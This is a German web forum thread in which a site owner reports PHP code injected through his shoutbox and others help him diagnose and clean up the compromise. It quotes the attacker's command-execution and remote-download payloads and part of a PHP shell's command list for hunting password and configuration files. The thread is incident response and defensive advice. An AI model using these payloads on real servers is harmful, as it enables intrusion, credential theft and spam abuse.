Einbruch zwecklos ?

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Einbruch zwecklos ?

    Hallo,

    hatte heute in unserer Shoutbox 2 seltsame Einträge von einem Gast.

    1.
    Code:
    <?php system($_GET["cmd"]); ?>
    2.
    Code:
    <?php $z=fopen("z.php",'w');fwrite($z,file_get_contents("http://faevs.com/z.txt"));fclose($z); ?>
    Erst dachte ich mir, daß es sich um einen Spinner handelt, habe dann aber vorsichtshalber auf unserem Webspace nachgeschaut ob etwas auffällig ist.

    In dem Webordner, wo unsere PHP-Shoutbox drin ist konnte ich ein neues File finden mit dem Name "z.txt"

    Der Inhalt der Datei entspricht auch dem Inhalt des Links aus dem zweiten Teil in der Shoutbox.

    Ich habe das File sofort gelöscht und stelle mir jetzt die Frage wie es möglich ist, daß jemand auf unserem Webserver so einfach eine Datei anlegen kann.

    Muss ich mir Sorgen machen ????

    Bin für jede Art von Hilfe dankbar

    Viele Grüße Ray
    BADRAY

  • #2
    Wahrscheinlich eval'd deine Shoutbox irgendwo irgendwas.
    [FONT="Helvetica"]twitter.com/unset[/FONT]

    Shitstorm Podcast – Wöchentliches Auskotzen

    Comment


    • #3
      aha

      Hallo und vielen Dank für die schnelle Antwort.

      Allerdings kann ich ehrlich gesagt nicht so viel damit anfangen, bin kein Crack auf dem Gebiet.

      Ich mach mir große Sorgen weil in dem Text z.Bsp. auch Sachen drin stehen wie:

      array("find all suid files", "find / -type f -perm -04000 -ls"),
      array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
      array("find all sgid files", "find / -type f -perm -02000 -ls"),
      array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
      array("find config.inc.php files", "find / -type f -name config.inc.php"),
      array("find config* files", "find / -type f -name \"config*\""),
      array("find config* files in current dir", "find . -type f -name \"config*\""),
      array("find all writable folders and files", "find / -perm -2 -ls"),
      array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
      array("find all service.pwd files", "find / -type f -name service.pwd"),
      array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
      array("find all .htpasswd files", "find / -type f -name .htpasswd"),
      array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
      array("find all .bash_history files", "find / -type f -name .bash_history"),
      array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
      array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
      array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
      array("list file attributes on a Linux second extended file system", "lsattr -va"),
      array("show opened ports", "netstat -an | grep -i listen")


      Für mich sieht das wie ein Angriff aus, oder ?

      Viele Grüße Ray
      BADRAY

      Comment


      • #4
        Ja, das was der dir da eingeschleust hat ist eine sogenannte PHP-Shell. Eine Datei, mit der man ziemlich gut ausleuchten kann, was auf deiner Kiste so alles möglich ist. Da es aber als txt hochgeladen wurde bin ich etwas stutzig.

        Du benutzt wahrscheinlich eine vorgefertigte Shoutbox, oder? Darf ich wissen welche? Oder falls nicht, zeig mal den relevanten Code her (da wo die Eintragsdaten angenommen und verarbeitet werden).
        [FONT="Helvetica"]twitter.com/unset[/FONT]

        Shitstorm Podcast – Wöchentliches Auskotzen

        Comment


        • #5
          wir benutzen die Shoutbox von

          http://www.shoutpro.com/

          Bislang immer sehr zufrieden und kaum Probleme damit gehabt.

          Hilft Dir das weiter oder soll ich den ganzen PHP-Code schicken ?

          Wird etwas viel ;-)

          Viele Grüße Ray
          BADRAY

          Comment


          • #6
            Evtl. eine veraltete Version?

            Edit: http://milw0rm.org/exploits/3758
            Last edited by unset; 11-03-2008, 22:46.
            [FONT="Helvetica"]twitter.com/unset[/FONT]

            Shitstorm Podcast – Wöchentliches Auskotzen

            Comment


            • #7
              hmm ?

              Also die Version wurde leider nicht mehr weiterentwickelt seit der Version 1.52
              Dies liegt aber vor der Zeit als die Sicherheitslücke aufgedeckt wurde ;-(

              Der Anbieter hat auch schon seit längerer Zeit sein Forum "offline"

              Für mich ist jetzt in erster Linie wichtig ob irgendwelche Daten in die Hände des Angreifers gelangen konnten oder ob es ihm möglich war schädliche Codes auf dem Webspace auszuführen. Spammail, etc.

              Gibt es für mich eine Möglichkeit außer die Kontrolle der Files auf dem Webspace dies nachzuvollziehen ?

              Habe alles sehr genau angeschaut und kann bislang nichts außergewöhnliches feststellen.

              Gruß Ray
              BADRAY

              Comment


              • #8
                Also deine Shoutbox scheint wirklich Usereingaben direkt an eval() weiterzureichen. Damit wird es möglich, dass ein Textstring als PHP interpretiert und ausgeführt wird. Eingeleitet wurde der Angriff über ein externes File z.txt von faevs.com. Falls du URL Wrapper deaktiviert hättest dann wäre es nicht möglich gewesen das externe File via file_get_contents() einzulesen. Ich würde dir mal empfehlen die Quellcodes aller Files deiner Shoutbox nach eval zu durchsuchen. Prüfe dann welche Daten an diese Funktion durchgereicht werden und wie diese entschärft werden. Ggf würde es bereits ausreichen ein htmlentities() auf die Usereingaben zu machen, das würde dann nämlich die PHP-Tags ungültig machen und eval() müsste sich mit einer Fehlermeldung verabschieden.
                Desweiteren mal den Provider von faevs.com anschreiben ggf auch den Domaininhaber und mitteilen, dass auf seinem Webspace Code liegt, der zu Angriffen oder Angriffsversuchen missbraucht wurde.
                Prüfe auch unbedingt die Berechtigungen in deinem Webspace auf irgendwelche Auffälligkeiten. Ändere am besten alle Zugangsdaten (Webspace und MySql DB) in Zusammenarbeit mit deinem Provider. Prüfe deinen Webspace auf allfällige Benutzer, die dir unbekannt sind.

                Hier noch die Daten zur Domain http://www.whois.net/whois_new.cgi?d=faevs&tld=com

                Gruss

                tobi
                Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

                [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
                Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

                Comment


                • #9
                  Die Quelldomain wurde höchstwahrscheinlich selbst gekapert.
                  [FONT="Helvetica"]twitter.com/unset[/FONT]

                  Shitstorm Podcast – Wöchentliches Auskotzen

                  Comment


                  • #10
                    Die Quelldomain wurde höchstwahrscheinlich selbst gekapert.
                    Ein Grund mehr den Inhaber resp dessen Provider zu informieren
                    Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

                    [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
                    Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

                    Comment


                    • #11
                      Hallöchen,

                      Ich würde dir mal empfehlen die Quellcodes aller Files deiner Shoutbox nach eval zu durchsuchen.
                      Habe ich gemacht, es gibt nirgends einen Eintrag mit "eval"
                      Sollte dann kein Problem sein, oder ?

                      Habe mir nun auf einem zugegeben seltsamen Weg geholfen indem ich die bösen Worte sofort nach Eingabe solcher in unsinnige Eingaben wandle, siehe :

                      php|^|p****|^|
                      system|^|s****|^|
                      GET|^|G****|^|
                      fopen|^|fo***|^|
                      fwrite|^|fr***|^|
                      get|^|g****|^|
                      contents|^|co***|^|

                      Aus
                      <?php system($_GET["cmd"]); ?>
                      wird dann
                      <?p**** s****($_G****["cmd"]); ?>

                      und aus
                      <?php $z=fopen("z.php",'w');fwrite($z,file_get_contents("http://f******m/z.txt"));fclose($z); ?>
                      wird dann
                      <?p**** $z=fo***("z.p****",'w');fr***($z,file_G****_co***("http://f******m/z.txt"));fclose($z); ?>

                      Ist zwar keine tolle Lösung aber ein Test verlief erfolgreich.

                      Den Webmaster werde ich anschreiben und ihn auf die Gefahr hinweisen.

                      Datenbanknutzer und Logins habe ich geändert.

                      Vielen Dank für Eure Mühe und die guten Tips, welche mich nun etwas schlauer machen ;-)

                      Gruß Ray
                      BADRAY

                      Comment


                      • #12
                        Lass auch mal einen Virenscanner über den Inhalt deines Web-Dirs laufen. Die meisten erkennen solche PHP-Shells. Nicht, dass unser Script-Kid sich schon woanders eingenistet hat.
                        [FONT="Helvetica"]twitter.com/unset[/FONT]

                        Shitstorm Podcast – Wöchentliches Auskotzen

                        Comment


                        • #13
                          Willst du denn dass man PHP-Code oder auch JS eingeben kann? Falls nein dann
                          PHP Code:
                          <?php
                          preg_replace
                          ('/<script.*>.*</script>|<\\?php.*\\?>|<\\?.*\\?>|<%.*%>/iUs','',$usereingabe);
                          Habe mir nun auf einem zugegeben seltsamen Weg geholfen indem ich die bösen Worte sofort nach Eingabe solcher in unsinnige Eingaben wandle, siehe :
                          Heisst das du lässt pro Muster einen RegExp drüber? Das würde ich mal mutig als Ressourcenverschwendung bezeichnen...

                          Gruss

                          tobi
                          Last edited by jahlives; 12-03-2008, 14:11.
                          Gutes Tutorial | PHP Manual | MySql Manual | PHP FAQ | Apache | Suchfunktion für eigene Seiten

                          [color=red]"An error does not become truth by reason of multiplied propagation, nor does truth become error because nobody sees it."[/color]
                          Mohandas Karamchand Gandhi (Mahatma Gandhi) (Source)

                          Comment


                          • #14
                            oje

                            also eigentlich handelt es sich um einen Wortfilter, dieser setzt das Geschriebene um, sonst nix.......

                            PHP Code:
                            <?php
                            preg_replace
                            ('/<script.*>.*</script>|<\\?php.*\\?>|<\\?.*\\?>|<%.*%>/iUs','',$usereingabe);
                            verstehe ich nicht wirklich, kannst Du mir etwas auf die Sprünge helfen ?

                            Vielen Dank und viele Grüße


                            Ray
                            BADRAY

                            Comment


                            • #15
                              oh oh

                              Hallöchen,

                              hatte gerade einen netten Anruf aus der Schweiz ................

                              Am anderen Ende war unser Provider vom Webspace, der mir erklärte, daß unsere Shoutbox in den letzten 2 Tagen ca. 25 GB an Traffic verbraucht hat und für Spammails missbraucht wurde.

                              Ich habe mich mit dem echt netten Supportmenschen darauf einigen können, daß ich die Shoutbox mit sofortiger Wirkung vom Netz nehme und mich um eine Alternative kümmere.
                              Mit weiteren Konsequenzen hätte ich dann nicht mehr zu rechnen.

                              Das ist eine sehr feine Geste von unserem Provider, ich bin begeistert !!!

                              Ich werde eine dann wohl eine fremd gehostete Shoutbox einbauen, dann liegt das Risiko nicht mehr auf unserer Seite

                              Viele Grüße Ray
                              BADRAY

                              Comment

                              Working...
                              X